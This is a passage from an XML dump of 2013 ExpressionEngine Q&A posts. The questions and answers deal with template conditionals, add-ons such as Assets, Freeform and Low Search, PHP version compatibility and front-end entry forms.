like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if freeform:error:any}&#xA; &amp;lt;span&amp;gt;Error Message&amp;lt;span&amp;gt;&#xA;{/if}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2014-02-06T20:46:00.213" Title="Freeform Pro - General error at top of page as well as inline errors?" Tags="|solspace-freeform|forms|solspace|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13890" PostTypeId="1" AcceptedAnswerId="13893" CreationDate="2013-09-18T21:41:53.900" Score="0" ViewCount="143" Body="&lt;p&gt;I have two channels: Program Areas and Stories. They need to be related in certain ways and I'm trying to figure out the best way to do that.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are 10 Program Area entries&lt;/li&gt;&#xA;&lt;li&gt;There are unlimited Story entries, which the user should be able to browse&#xA;by category, and the 10 categories correspond to the 10 Program Area entries&lt;/li&gt;&#xA;&lt;li&gt;On every Program Area entry, a few &lt;em&gt;related&lt;/em&gt; Story entries should be listed. For example, the 2 most recent.&lt;/li&gt;&#xA;&lt;li&gt;The Program Area pages themselves cannot simply be categories, but full-blown entries, with many fields including Matrix fields. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I seem to have two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a relationship between Program Areas + Stories. Problem: when the client creates a new Program Area entry, s/he will be confronted with a long list of Stories by title, with no regard to category. If there are 1,000 Stories, the client will have to remember which of those correspond to the new Program Area entry they are creating. There's no way to limit the relationship to a single category ON A PER-ENTRY BASIS. Am I wrong about this?&lt;/li&gt;&#xA;&lt;li&gt;Other option: create a set of categories with the same names as the Program Area entries, and assign them to both the Program Area entries and the Stories entries. Each category will have only a single Program Area entry assigned to it (and many Story entries). If the client wants to create a new Program Area entry, s/he will have to start be creating a new category, etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These seem to be my two options, and neither seems particularly elegant. Is there another way to do this--perhaps a relationships plug-in that allows me to pull, not individual related entries (like Playa and now native EE), but categories of entries? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-09-18T22:15:27.800" Title="Mixing relationships with categories?" Tags="|categories|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13891" PostTypeId="1" AcceptedAnswerId="13896" CreationDate="2013-09-18T21:57:35.310" Score="2" ViewCount="180" Body="&lt;p&gt;If I enter the keywords &quot;Topic Name&quot; into the search form, can Low Search also find entries that have been tagged with &quot;Topic Name&quot;? This would be something similar to Solspace's Super Search &quot;&lt;a href=&quot;http://www.solspace.com/docs/super_search/results/#keyword_search_category_name&quot; rel=&quot;nofollow&quot;&gt;keyword_search_category_name&lt;/a&gt;&quot; parameter.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-09-18T22:48:32.140" Title="Can Low Search keywords also search in categories?" Tags="|search|low-search|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13892" PostTypeId="1" AcceptedAnswerId="13904" CreationDate="2013-09-18T22:14:24.630" Score="0" ViewCount="71" Body="&lt;p&gt;I don't use Safecracker very often, but I'm working on an EE 2.6.1 project where &lt;code&gt;{field:assets_field}&lt;/code&gt; is magically bringing the Assets file manager (and uploads) to the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that this involves adding a JSON array to the page which configures the field, but I'm not sure if there's a good (or deliberate/preferred) way to get in there and mess with it before the user interacts with the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In specific templates where the thumbnail view is worthless without the filename (like a folder of PDFs), I'd like to preselect the list view. In many templates, I'd like to preselect a specific folder – like one belonging to a certain user – not because the person shouldn't see any other files, but because it'd be more convenient if they didn't have to browse through the file tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to preselect a folder and/or view type?&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-09-19T06:40:38.680" Title="Assets + Safecracker: Preselect folder and/or view type?" Tags="|assets|safecracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13893" PostTypeId="2" ParentId="13890" CreationDate="2013-09-18T22:15:27.800" Score="1" Body="&lt;p&gt;Unless there's an editorial reason not to do so, you also could allow each Program Area to be assigned to a Story. In other words, in the Story entry, the author would choose from among the 10 Program Areas (rather than choosing Stories in the Program Area entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the Program Area pages, you'd do the Reverse Related Entries* look-up for stories, and, e.g., limit it to two by entry date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(* I think in the current Relationships field parlance, the Stories would be the parents of the Program Areas.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm working on a similar order of relationships right now, where the issue is that I need full entries rather than categories--but I want those full entries to be used a lot like categories. There really is an absence of a perfect model for this kind of thing in EE--or in any of the major CMS, that I'm aware of. &lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-18T22:15:27.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13895" PostTypeId="2" ParentId="13889" CreationDate="2013-09-18T22:38:43.520" Score="2" Body="&lt;p&gt;OK, I think I got it. By adding the following parameter to the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;inline_error_return=&quot;/template-group/template-with-form/errors&quot;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I can use the following to get what I need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if segment_3 == &quot;errors&quot;}&#xA;    &amp;lt;p class=&quot;error&quot;&amp;gt;There were some errors with your submission. Please make the necessary corrections and re-submit.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MY only last question would be is there a problem with doing it this way? It seems EE doesn't throw 404 errors for made up pages like this with no corresponding template, it just shows the previous parent template. Is this a bad practice for any reason?&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2013-09-18T22:38:43.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13896" PostTypeId="2" ParentId="13891" CreationDate="2013-09-18T22:48:32.140" Score="4" Body="&lt;p&gt;Yes. From &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/manage&quot; rel=&quot;nofollow noreferrer&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Low Search v2.4+ can also add category information to the index, making entries searchable by keywords present in their categories. Just like the regular channel fields, you can add weight to the category name, description and any of the category custom fields.&lt;/p&gt;&#xA;&lt;p&gt;Note: if you’re using ExpressionEngine 2.7+, making changes to a category will automatically update the index for the associated entries. However, if you’re using an older version of EE, you will need to rebuild the index manually whenever you edit or delete a category.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-09-18T22:48:32.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13897" PostTypeId="1" CreationDate="2013-09-18T22:48:35.950" Score="1" ViewCount="31" Body="&lt;pre&gt;&lt;code&gt;{exp:cartthrob:order_items order_id=&quot;1937&quot; variable_prefix=&quot;items_&quot;}&#xA;    $titlu_carte = '{items_title} ';       &#xA;    $gestiune_id = '{product_sku} ';&#xA;    $cantitate_carte = '{items_quantity}';&#xA;   $pret_numeric_carte = '{items_price_numeric}';           &#xA;{/exp:cartthrob:order_items}&#xA;&#xA;echo $titlu_carte;&#xA;echo $gestiune_id;&#xA;echo $cantitate_carte;&#xA;echo $pret_numeric_carte;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TITLE1 012L000001 2 12 TITLE1 ( again ? why not the next title? ) 2 12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is it giving me the same book and not the next one in the entry?&lt;/p&gt;&#xA;" OwnerUserId="1359" LastEditorUserId="900" LastEditDate="2013-09-19T15:03:35.280" LastActivityDate="2013-09-19T15:03:35.280" Title="Why Php variable repeats 1 entry?" Tags="|cartthrob|conditionals|php|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13898" PostTypeId="1" AcceptedAnswerId="13915" CreationDate="2013-09-18T22:49:59.187" Score="2" ViewCount="117" Body="&lt;p&gt;I have 2 conditionals at the beginning of a template that are supposed to redirect the visitor to a different template if they are hitting the page outside of 2 different time spans, but the redirect is not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%U&quot;}' &amp;lt; '{start_date_1}' AND '{current_time format=&quot;%U&quot;}' &amp;gt; '{end_date_1}'}{redirect=&quot;/closed&quot;}{/if}&#xA;{if '{current_time format=&quot;%U&quot;}' &amp;lt; '{start_date_2}' AND '{current_time format=&quot;%U&quot;}' &amp;gt; '{end_date_2}'}{redirect=&quot;/closed&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{start_date_1}, {start_date_2}, {end_date_1} &amp;amp; {end_date_2} are global variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="434" LastEditDate="2013-09-26T22:03:39.847" LastActivityDate="2013-09-26T22:03:39.847" Title="Redirect during specific date range" Tags="|conditionals|date-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13899" PostTypeId="1" CreationDate="2013-09-18T23:33:10.023" Score="1" ViewCount="116" Body="&lt;p&gt;I am having an issue with editing entries via the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change something (a text field) and hit submit, I get the spinner png for a second or two and then nothing. If I manually reload the page I can see the edits didn't stick. I don't see any console errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded to the latest of everything, still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Runnin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.0&#xA;Freeform Pro 4.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Adam&lt;/p&gt;&#xA;" OwnerUserId="2080" LastActivityDate="2013-09-30T14:17:41.423" Title="Can't edit Freeform Pro entries via the CP" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13900" PostTypeId="1" CreationDate="2013-09-18T23:56:12.303" Score="2" ViewCount="45" Body="&lt;p&gt;Running Matrix 2.4 on EE 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the plus / + button on a Matrix custom field is clicked, no row is added&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing happens&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2013-09-19T13:50:48.220" Title="Matrix 2.4 not adding rows when plus is clicked" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13901" PostTypeId="1" AcceptedAnswerId="13987" CreationDate="2013-09-19T02:15:34.770" Score="1" ViewCount="185" Body="&lt;p&gt;I've got an odd issue where essentially the same Assets on production works fine, but fails on local/dev.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Asset's native file manager does not display any images and just spins&lt;/li&gt;&#xA;&lt;li&gt;Inline-file manager within an entry does pop-up the Assets window, but is completely blank&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The local/dev DB is imported from prod, and we're using Erik's Multi-config setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting I need to check?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-09-23T08:24:54.650" Title="Assets UI fails (goes white) on local/dev, but works perfectly on prod" Tags="|assets|pixelandtonic|file-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13903" PostTypeId="2" ParentId="13855" CreationDate="2013-09-19T06:18:07.983" Score="1" Body="&lt;p&gt;Yes, EE support is right. The template can be imported via template files. But there would be other data like channels and their entries, categories, images etc would be needed to be imported into MSM site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) For channel entries, categories you can have simple way. Just run SQL into existing website and export entries data into CSV. The entries can imported with third party add-ons like Datagrab or Importer modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) For images, make the proper file upload directories and put the images. After that from File Manager do sync all. But note, you should take about directory id because in the channel entry the image path save like {filedir_x}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) There may be some third party addons data also. The simple way would be import with SQLs. For it, you will need to study how those addons store data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may some other concerns also but not sure without looking at your existing website and MSM site structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-19T06:18:07.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13904" PostTypeId="2" ParentId="13892" CreationDate="2013-09-19T06:40:38.680" Score="1" Body="&lt;p&gt;that's tricky. How Assets determines the view is set in your browser's localStorage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setting string is stored there under PT_Assets_field_id_XX, where XX is the id of the field and you'll have to modify that so that &quot;view&quot; is set to list.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-19T06:40:38.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13906" PostTypeId="1" CreationDate="2013-09-19T08:00:08.840" Score="0" ViewCount="1356" Body="&lt;p&gt;I'm using EE 2.6.1 and the default language is Dutch. When installing a module it seems that a specific lang file should be added in the language directory. I don't know which modules add lang files.  All works fine but when I log out I get an Error when accessing the front-end site. If I'm logged in the front end doesn't show errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I make a copy of a lang file en rename it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I should adjust with the configuration?&#xA;Or is there a solution to bypass this when a lang file is missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx,&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2013-09-19T08:00:08.840" Title="Unable to load the requested language file" Tags="|module|language|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13907" PostTypeId="1" AcceptedAnswerId="13910" CreationDate="2013-09-19T08:26:33.450" Score="1" ViewCount="83" Body="&lt;p&gt;We've been developing a mayor update for one of our clients website. Their current website runs EE 2.5. We've made the change to 2.7 for several obvious reasons. And everything worked beautifully on the development server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I noticed that the client hosting is running PHP 5.1. Which is sufficient for EE 2.5. But not for 2.7. Php should be version 5.2.4 or higher. Also, the php upgrade isn't possible without a linux upgrade, so said the hosting company. And that can't be done before the deadline next week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, what are the implications of running EE 2.7 on php 5.1?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-09-20T05:23:50.110" Title="What are the implications running EE 2.7 on php 5.1?" Tags="|php|2.7.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13908" PostTypeId="1" CreationDate="2013-09-19T08:58:27.403" Score="0" ViewCount="122" Body="&lt;p&gt;i'm trying to write my own plugin and new to php&#xA;to simplify i want to grab a string from the tempalte then do something with it &#xA;How do i call getMyString() in another function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class test&#xA;{&#xA;&#xA;    public $return_data = &quot;&quot;;&#xA;&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;return_data =  $this-&amp;gt;getMyString();&#xA;    }&#xA;&#xA;    public function getMyString() {&#xA;        $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;        return &quot;&amp;lt;p&amp;gt;TEST : &quot; . $tagdata . &quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    public function newFuction() {&#xA;          $this-&amp;gt;return_data = self::getMyString();&#xA;    } &#xA;    // usage stuff here&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="879" LastEditorUserId="879" LastEditDate="2013-09-20T06:56:05.977" LastActivityDate="2013-09-20T08:58:17.010" Title="get function value in a plugin" Tags="|php|plugin|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13909" PostTypeId="2" ParentId="13865" CreationDate="2013-09-19T09:08:43.843" Score="2" Body="&lt;p&gt;Repeated use of an identical single tag (as would be generated by the looping of the Playa tag pair) will cause EE to cache the value of the first instance. That means subsequent tag instances would be replaced with a marker such as &lt;code&gt;M00093...&lt;/code&gt; which are then replaced with the value of the first instance later in the parse order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why these markers get replaced with seemingly random text, but you can eliminate caching as a possible cause of your problem by adding the word 'random' to the &lt;code&gt;{exp:stash:get}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;where_to_buy_translation&quot; random}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-09-19T09:08:43.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13910" PostTypeId="2" ParentId="13907" CreationDate="2013-09-19T10:52:35.000" Score="4" Body="&lt;p&gt;It won't work at all. EE 2.7 (and most add-ons built for it) use features only available in PHP 5.2+, probably most notable is &lt;code&gt;json_encode&lt;/code&gt; which EE uses a lot internally. Some add-ons such as Store 2 even require PHP 5.3 as minimum now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would ditch the host and find one who takes software updates (and therefore server security) more seriously. PHP is up to version 5.5 now and there is no excuse for running software which was released in 2005.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-09-20T05:23:50.110" LastActivityDate="2013-09-20T05:23:50.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13911" PostTypeId="2" ParentId="13908" CreationDate="2013-09-19T11:43:48.177" Score="1" Body="&lt;pre&gt;&lt;code&gt;$this-&amp;gt;return_data = $this-&amp;gt;getMyString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;return_data should only be used for the construct method (nod to Derek ;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the EE template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:test}woo hoo{/exp:test}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:test:getMyString}woo hoo{/exp:test:getMyString}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I appreciate this is only a test, but you can't return anything from the construct if you're returning stuff from the methods - because the construct will always get called, therefore always return something, then the method will return something - so you'll get incorrect output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug, simply put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;pre&amp;gt;&quot;;var_dump($tagdata);echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...before the return in the getMyString method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your comment mentioned this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:test} {exp:test:getMyString}My Pretty string here...{/exp:test:getMyString} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;{exp:test}&lt;/code&gt; tag shouldn't be there (just checking ;) as that will only output &quot;TEST: &quot; because there is no tagdata and as mentioned, it may mess with the tag pair &lt;code&gt;{exp:test:getMyString}&lt;/code&gt; because it outputs something.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-09-20T08:58:17.010" LastActivityDate="2013-09-20T08:58:17.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13912" PostTypeId="1" AcceptedAnswerId="14021" CreationDate="2013-09-19T12:04:51.153" Score="1" ViewCount="57" Body="&lt;p&gt;I've got a Zoo Visitor update_form which i want to use to only update some of the fields in the zoo member channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i submit that form, it updates the fields in the tag, but wipes out the info of all other fields!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way round this? I don't really want to include all other custom fields as hidden fields!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2013-09-24T09:25:34.033" Title="Zoo Visitor update_form to update only some entries wipes out all other data" Tags="|zoo-visitor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13913" PostTypeId="1" AcceptedAnswerId="13920" CreationDate="2013-09-19T12:55:49.100" Score="0" ViewCount="144" Body="&lt;p&gt;Does Assets keep the same content when changing from a file field?&#xA;I just wanted to be sure on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Diederik&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-09-19T15:04:36.063" Title="Change file field to assets field without losing the selected image" Tags="|assets|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13914" PostTypeId="2" ParentId="13897" CreationDate="2013-09-19T12:57:39.937" Score="1" Body="&lt;p&gt;I don't think it would be good practice to output data with PHP while you can do the same with tags. In your code, you are outputting the PHP variables out of &lt;code&gt;{exp:cartthrob:order_items}&lt;/code&gt; which is looping. PHP variables within the paired tag loop will store only the last tag values which will be outputted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either prepare your PHP variable (within) loop by concatenating or output within the loop. &lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-19T12:57:39.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13915" PostTypeId="2" ParentId="13898" CreationDate="2013-09-19T13:23:10.967" Score="3" Body="&lt;p&gt;your conditional doesn't make any sense. It's impossible for a number to be less and greater than an interval at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a &lt;code&gt;OR&lt;/code&gt;, not an &lt;code&gt;AND&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%U&quot;}' &amp;lt; '{start_date_1}' OR '{current_time format=&quot;%U&quot;}' &amp;gt; '{end_date_1}'}{redirect=&quot;/closed&quot;}{/if}&#xA;{if '{current_time format=&quot;%U&quot;}' &amp;lt; '{start_date_2}' OR '{current_time format=&quot;%U&quot;}' &amp;gt; '{end_date_2}'}{redirect=&quot;/closed&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-09-19T13:31:37.523" LastActivityDate="2013-09-19T13:31:37.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13916" PostTypeId="2" ParentId="13889" CreationDate="2013-09-19T13:49:28.703" Score="0" Body="&lt;p&gt;If you look at the example for inline errors in the docs, it shows that you can show a general error message as well as an error for each individual field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no reason you could not put this at the top of the page with the general errors message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if freeform:error:name}&#xA;        &#xA;            {freeform:error:name}&#xA;        &#xA;    {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as well as have it live with the input field.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-19T13:49:28.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13917" PostTypeId="2" ParentId="13900" CreationDate="2013-09-19T13:50:48.220" Score="2" Body="&lt;p&gt;I've run into this before a couple of times - often just a matter of re-uploading the matrix third party theme folder.  In other cases it could be a JS conflict with another add-on, which you'd perhaps have to explore after trying the theme re-upload.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-19T13:50:48.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13918" PostTypeId="2" ParentId="13859" CreationDate="2013-09-19T13:59:45.453" Score="1" Body="&lt;p&gt;You would probably have to hack mod.rating.php to make that happen.&#xA;search for stars_avg_rating&#xA;I don't think this would be a small undertaking.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-19T13:59:45.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13919" PostTypeId="2" ParentId="13835" CreationDate="2013-09-19T15:02:25.227" Score="0" Body="&lt;p&gt;I ended up writing my own html code within the template and processed it with a php script to send the form input to an email address, just as I normally would on a website.  Not being familiar with ExpressionEngine, I don't think I understood why I was continually being referenced to use a module in order to do this, but I suppose for anyone who is not a coder but is experienced with EE, that would be the way to go.  From what I understand, the email module is not free and does not come with the core version, which is what I had to work with, but comes with the licensed version, which made this all the more confusing.&lt;/p&gt;&#xA;" OwnerUserId="2069" LastActivityDate="2013-09-19T15:02:25.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13920" PostTypeId="2" ParentId="13913" CreationDate="2013-09-19T15:04:36.063" Score="1" Body="&lt;p&gt;Yes, it does - I've done this many times. Just make sure you're using the latest version of Assets.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-19T15:04:36.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13922" PostTypeId="1" CreationDate="2013-09-19T15:55:46.667" Score="0" ViewCount="179" Body="&lt;p&gt;I wish to add a form to my website that will allow customers to add testimonials to the ‘testimonial’ channel as pending status. I have created the channel and custom fields i need and a new status pending. I used mijingo-expressionengine2-episode7 to guide me but since i am using EEv2.5.2 i think exp:channel:entry_form is no longer of use, so I am using exp:safecracker. Eitherway nothing happens when i submit. Filling in entry_id=”{segment_2}” throughs error - ‘You must specify a valid entry to edit.’ but in the EE documentation is says i can leave blank for data entry and this does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:safecracker form_class=&quot;saef-form&quot; channel=&quot;testimonial&quot; status=&quot;pending&quot; return=&quot;contact/thankyou/en/&quot;  entry_id=&quot;&quot; use_live_url=&quot;no&quot; url_title=&quot;&quot; }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML Output hidden fields&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;publishForm&quot; class=&quot;saef-form&quot; method=&quot;post&quot; action=&quot;http://mysite.com/site/add-testimonial&quot;  enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;&amp;lt;div class='hiddenFields'&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;56&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://mysite.com/site/add-testimonial&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;site/add-testimonial&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;d4fdd1ccc89be4d869e62c56a38f37ff277b7f6f&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;contact/thankyou/en/&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;author_id&quot; value=&quot;6&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;channel_id&quot; value=&quot;12&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;pending&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;contact/thankyou/en/&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;allow_comments&quot; value=&quot;n&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;fieldset class=&quot;contactDetails&quot;&amp;gt;&#xA;&#xA;&amp;lt;label 